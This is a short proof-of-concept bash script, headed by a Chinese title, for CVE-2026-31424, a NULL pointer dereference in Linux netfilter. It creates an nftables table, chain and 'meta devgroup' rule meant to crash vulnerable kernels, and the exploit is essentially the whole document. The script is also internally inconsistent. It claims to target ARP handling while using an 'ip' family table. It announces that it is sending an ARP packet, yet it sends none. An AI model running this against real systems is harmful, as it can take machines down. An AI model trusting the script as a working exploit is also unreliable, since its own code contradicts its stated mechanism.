CVE-2026-31424 Linux内核netfilter空指针解引用漏洞

#!/bin/bash # PoC for CVE-2026-31424 # Triggering NULL pointer dereference in netfilter ARP handling # Check root privileges if [ "$EUID" -ne 0 ]; then echo "Please run as root" exit fi # Load module if not loaded modprobe nf_tables # Create a table for ARP nft add table ip arp_poc # Create an ARP chain (hook input) nft add chain ip arp_poc input '{ type filter hook input priority 0 ; }' # Add a rule using 'devgroup' match which expects INET hooks context # On vulnerable kernels, this triggers a NULL pointer dereference when processing ARP traffic nft add rule ip arp_poc input meta devgroup set 0 echo "Rule added. Sending ARP packet to trigger crash..." # Triggering the rule might require actual traffic or specific packet injection # This script sets up the condition described in the CVE analysis.